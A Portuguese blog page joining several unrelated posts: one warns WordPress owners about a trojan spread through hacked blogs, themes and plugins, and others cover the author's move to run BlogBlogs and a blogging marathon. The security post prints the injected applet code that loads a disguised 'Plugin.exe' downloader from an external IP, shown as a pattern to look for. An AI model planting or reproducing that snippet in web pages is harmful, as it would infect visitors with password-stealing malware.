Os atacantes estão usando diversas formas de fazer com que o código malicioso seja implementado nos blogs:

1. Explorando falha em blogs com versão desatualizada do WordPress

De tempos em tempos o WordPress, plataforma de blogs gratuita e muito utilizada em todo o mundo, disponibiliza atualizações de seus arquivos. Algumas dessas atualizações incluem correções de falhas de segurança. É sempre importante ficar atento e fazer os updates quando solicitado.

Nas versões mais novas do WP, isso pode ser feito em apenas 2 cliques, sem qualquer dificuldade por parte de quem utiliza o WP e não possui habilidades com servidores e procedimentos técnicos. O próprio sistema faz tudo por você, mas você precisa pedir que ele se atualize.

Na área administrativa do blog, você verá um aviso marcado em amarelo no topo da página, avisando que existe uma atualização disponí­vel e um link para atualizar. Ao clicar nesse link, uma nova tela será aberta para confirmar a atualização, basta clicar no botão “atualizar automaticamente”. Lembrando que a versão mais nova disponí­vel é a 2.9.2.

2. Distribuindo em temas gratuitos disponí­veis para download

Evite baixar temas de outros sites que não estejam no repositório de temas oficial do WordPress. Se fizer isso, pois existem vários temas Premium fora do repositório, principalmente os que não são gratuitos, sempre procure dentro do código fonte por chamadas estranhas.

O que você deve procurar:

• Chamadas externas de qualquer natureza. Se o tema pede uma inclusão de arquivo fora do seu domí­nio, desconfie e verifique do que se trata;
• Chamadas para arquivos Flash que não deveriam estar presentes no tema. Se você não baixou um tema com Flash, uma chamada dessas pode esconder um código malicioso.
• Chamadas para Applets. Essa praga era usada no tempo do ronca para executar coisas que hoje fazemos com Flash, CSS ou HTML5, portanto, deixe-a relegada aos bancos e suas traquitanas de segurança. Applet é um troço que roda na máquina do usuário e, se o mesmo permitir, pode fazer leitura e gravação em disco local, uma potencial falha de segurança (e a gente sabe que o usuário permite sempre né?).
• Links estranhos escondidos com CSS. Muitos temas podem servir para referenciar sites maliciosos, fazendo com que os backlinks para esses sites os destaquem nos mecanismos de busca. Não suporte parasitas, só dê link para o autor do tema, se não for um site-armadilha.

3. Distribuindo em plugins gratuitos disponí­veis para download

Os plugins agem no WordPress como extensão do aplicativo. Isso faz com que o comportamento do sistema possa ser comprometido e o seu blog se tornar ví­tima de golpe ou distribuidor de arquivos maliciosos. Se você não tem habilidades técnicas para verificar o código de um plugin, baixe sempre de sites confiáveis, como o próprio repositório do WordPress. Leia os comentários dos usuários sobre o plugin, a compatibilidade e se verificar algum problema, relate, é sua ajuda que faz com que o repositório se mantenha limpo.

O trojan que está sendo distribuí­do

O arquivo está sendo distribuí­do como uma atualização do plugin Flash e solicita a permissão do usuário para instalá-lo. O malware, disfarçado com o nome de Plugin.exe, foi analisado pelo VirusTotal como Trojan Downloader (provavelmente um Banker, utilizado para roubar senhas dos usuários ao acessarem Internet Banking).

Ao acessar um site infectado, a seguinte tela surge:

Essa é a deixa de que existe um problema no site. Note que ele busca o arquivo externamente, através de um IP de outro paí­s, o que já dispara nossos alarmes. Se o usuário clicar em “negar”, tudo certo para ele, não será infectado dessa vez (espero que se lembre sempre disso).

O código malicioso

Eu coletei do blog acima um trecho de código que dispara a ação do trojan. O mesmo código foi notado em outros 3 blogs, portanto, pode ser um padrão a ser buscado, mas não acredite que seja o único. O mesmo arquivo pode vir com outro nome, de outro IP e através de outra chamada que não seja um applet, então, entenda o trecho abaixo como apenas uma das possibilidades.

<applet name=”Clique em RUN – Adobe FlashPlayer 10.0.015.7″ code=”Inicio.class” archive=”http://174.37.21.130/…/FlashPlayer.jar” height=”0″ width=”0″> <param name=”url” value=”http://174.37.21.130/…/Plugin.exe”></applet><applet name=”Clique em RUN – Adobe FlashPlayer 10.0.015.7″ code=”Inicio.class” archive=”http://174.37.21.130/…/FlashPlayer.jar” height=”0″ width=”0″> <param name=”url” value=”http://174.37.21.130/…/Plugin.exe”></applet>

O que fazer se descobrir seu site infectado

O primeiro a ser feito é remover o código malicioso, atualizar os arquivos e zerar o cache do servidor. Depois verifique os seguintes problemas de fácil detecção:

• Seu sistema de blogs está atualizado para a última versão?
• Existe algum login de usuário desconhecido que você mesmo não tenha criado?
• Todos possuem acesso aos arquivos de tema? Todos possuem senhas fortes?
• A senha do admin não é trocada há quanto tempo? É forte? (dica: troque imediatamente)
• Existe algum arquivo diferente em seu servidor, que não sejam os arquivos do próprio CMS e as imagens e arquivos do tema que você mesmo fez upload? (dica: olhe a pasta de uploads do servidor)

Avise aos seus leitores sobre a possí­vel ameaça, oriente-os a não permitir esse tipo de execução em seus computadores e indique-os bons antiví­rus. Se assim desejar, agradeço a indicação do meu outro blog Balela.info, em que trato especificamente sobre esse assunto.

Se você descobrir algum outro código que esteja sendo utilizado para distribuir malwares, comente aqui e ajude a espalhar a notí­cia.

Hoje, 1 de maio de 2008, Dia do Trabalho (e paradoxalmente feriado), quero anunciar a vocês que, após muita resistência e teimosia, estou de mudança para a cidade de São Paulo – na verdade já estou na cidade e em 2 meses espero estar estabelecido definitivamente.

Como tudo aconteceu

A minha insatisfação e ao mesmo tempo a vontade de fazer coisas novas me trouxeram diversas vezes para Sampa, desenvolvendo trabalhos, mantendo e gerando novos relacionamentos, fazendo amigos e negócios, participando de eventos. Desde a realização do BlogCamp 2007, tenho participado muito mais da vida de Sampa que de Londrina.

Com meu envolvimento com mí­dia social, blogs e afins, conheci muita gente bacana. Pessoas que se tornaram amigas, parceiras de negócio, aliadas. Entre essas pessoas, o meu xará Manoel Lemos, criador do serviço mais conhecido entre os blogueiros, o BlogBlogs. Cheguei a ser confundido muitas vezes com ele – Manoel, programador e blogueiro, sabe como é – e talvez agora essa confusão aumente ainda mais, pois eu fui convidado pelo Lemos para assumir as rédeas do BlogBlogs e topei!

Manoel Lemos passando o BlogBlogs pra mim (essa é a nova sede em construção)

Sempre brinquei com o Lemos que se eu ganhasse na loteria esportiva, iria investir no BlogBlogs e ficar rico. Pois bem, alguém fez isso antes de mim e ele decidiu me chamar para participar dessa revolução – o que me fez sentir muito honrado. Uma proposta irrecusável, trabalhar num ambiente jovem, descontraí­do, com mí­dia social, participar de algo grande e ter a chance de dominar o mundo. Tudo que eu estava esperando para decidir vir pra terra da garoa.

O que vai rolar daqui pra frente

Pessoalmente, vou continuar ativo na blogosfera, tanto como blogueiro como arroz de festa. Vocês devem me ver mais em eventos – eu perdi muita coisa por estar longe – e ocasiões especiais, talvez até como gerador dessas ocasiões.

Profissionalmente fico mais indisponí­vel para freelas, mas agora responsável por um projeto de grande escala e que eu acredito muito. Isso me deixa orgulhoso e ansioso.

O BlogBlogs deve mudar bastante. Não que o que exista hoje seja ruim, pelo contrário, apenas agora podemos fazer mais, em menos tempo e melhor. Temos gente (gente muito boa), estrutura, equipamentos e muito pique para fazer acontecer. Claro que ainda contamos muito com a ajuda de vocês, afinal, o BlogBlogs não seria nada se não fossem os blogueiros. Então espero de vocês dicas, crí­ticas, sugestões, melhorias, etc. Tudo o que eu puder fazer para tornar o serviço ainda melhor, considerem feito.

Além do BlogBlogs, a empresa WebCo – criada para representar os projetos – está preparando algumas novidades a serem lançadas em breve. A primeira delas – já em testes – é o Brasigo, uma comunidade de conteúdo gerado pelo usuário que vai se integrar em breve com o BlogBlogs e todos os outros serviços que lançarmos. O Brasigo ainda está em “alfa” (nem em beta ainda), mas você já pode começar a testar e nos ajudar no desenvolvimento. Basta acessar o site e digitar seu e-mail na segunda caixa da direita para solicitar um convite (tenha calma que ele chega).

Bruno Alves (Product Champion Brasigo), Manoel Lemos (Boss) e Manoel Netto (Product Champion BlogBlogs)

É isso, pessoal. Estou disponí­vel nos IMs, Twitter, e-mail, etc. Pode chamar pra bater um papo ou até tomar um chopinho. Qualquer coisa, ‘tamos aí­.

Os mais famosos diretórios de blogs atualmente são o Technorati lá fora e o BlogBlogs aqui dentro. Neles você pode cadastrar o seu site e usufruir de uma série de ferramentas como essa caixinha bacanuda da barra lateral que mostra os últimos visitantes. Eu já disse que diretórios são legais. Recebo visitas e algumas delas se tornam leitores assí­duos por causa do BlogBlogs. Parte de meus posts é exibida lá, com minha autorização.

Um problema que vem despertando alguns blogueiros ultimamente são os agregadores de feeds que utilizam robôs para capturar seu conteúdo e disponibilizar em outro site. Em alguns momentos o site é tão cara-de-pau que exibe o seu conteúdo com um link para seu site, mas com rel=”nofollow” – isso faz com que o Google não siga o link, consequentemente você perde uns pontinhos de relevância.

Eu não vejo problemas em copiar parte do seu conteúdo e linkar, porém fazê-lo apenas com a pretenção de ganhar dinheiro em cima do seu trabalho é algo que não tolero. Isso é mal uso da ferramenta e má fé na aplicação da licença Creative Commons.

Denuncie a ação desses sites. Vamos limpar a Internet removendo esses parasitas da rede.

–
Este artigo está participando da maratona Blogando24h.
Comente. Você pode ganhar uma camiseta!

Um pessoal resolveu usar o tal modelo 2.0 para criar um diretório de aplicativos 2.0. É a Web Dois da Web Dois! Bacana hein?

O Listio se denomina Everything Web 2.0 Directory – traduzindo, diretório de tudo da web 2 – e se propõe a agregar num mesmo local todos os serviços com o mesmo modelo que já conhecemos, com a possibilidade de visitarmos, utilizarmos os serviços e podermos escolher os melhores.

Um dos serviços disponí­veis para votação é o BlogBlogs, o nosso Technorati brazuca, apoiador dos blogs nacionais e dessa maratona maluca (valeu, Manoel)! Aproveite para dar o seu voto por lá.

Eu pessoalmente gosto de diretórios de nicho. Quando se está procurando coisas especí­ficas e busca-se opções, diretórios são uma ótima opção (imobiliárias em Londrina, por exemplo). Usar o formato de diretório com possibilidade de votação (seleção natural, pelo próprio usuário) então, show! Então, dá uma dica aí­ pra gente! Você conhece diretórios legais como o Listio, para outras coisas especí­ficas? Manda nos comentários.

–
Este artigo está participando da maratona Blogando24h.
Comente. Você pode ganhar uma camiseta!

O evento Maratona: 24h Blogando tem por objetivo principal promover a atividade de escrever em blogs (“blogar” como costumamos falar) e nada melhor que fazer isso blogando mesmo. Foram escolhidos diversos temas entre os participantes para que pudéssemos todos ter “pano para a manga” e não deixar o ritmo cair. Para isso precisamos de uma preparação anterior, alimentação saudável, meditação e alguns cuidados para o perí­odo:

• Estar em local adequado, confortavelmente acomodado e com a postura correta;
• Alimentar-se em pequenas quantidades í  cada 4 horas, evitando a sonolência provocada pelo excesso de comida e a fadiga proporcionada pela falta dela;
• Levantar-se periodicamente e dar uma pausa de 5 a 10 minutos, andando e fazendo exercí­cios contra LER. Aproveitar o momento para beber água e ir ao banheiro;
• Não fixar os olhos na tela por muito tempo. Sempre fazer exercí­cios oculares (mover os olhos em todas as posições, fixar diferentes focos, piscar), para evitar secura, cansaço visual e outros probleminhas;
• Uma boa música, bom sono no dia anterior e apoio da famí­lia também são muito importantes para concluir essa tarefa.

Se você planeja acompanhar a Maratona em tempo real, não deixe de dar o seu apoio nos comentários. Sinta-se í  vontade para divulgar o evento em seu site / blog (será um grande prazer receber seus leitores).

[UPDATE] Achamos mais interessante abrir a iniciativa para quem topar o desafio. Se você consegue manter o ritmo, escreve no teu blog um artigo dizendo que aceita o desafio, faz um trackback para os 3 blogs organizadores pra gente ficar sabendo e atualizar a lista de convidados abaixo.

Organizadores:

• Celso Junior no blogs CelsoJunior.net
• Douglas Negreiros no Doufer
• Manoel Netto no Tecnocracia

Convidados Desafiados:

• Júlio Câmara no JulioCamara.com [aceitou]
  
• Leo Baiano no Ljunior.com [deu pra trás]
  
• Diego Alcantara no DiegoAlcantara.com [aceitou]
• Anny Rose no TV Retrô [aceitou]
• David Santos no O Saca Rolha [aceitou]

Agradecemos o apoio do amigo Manoel Lemos do BlogBlogs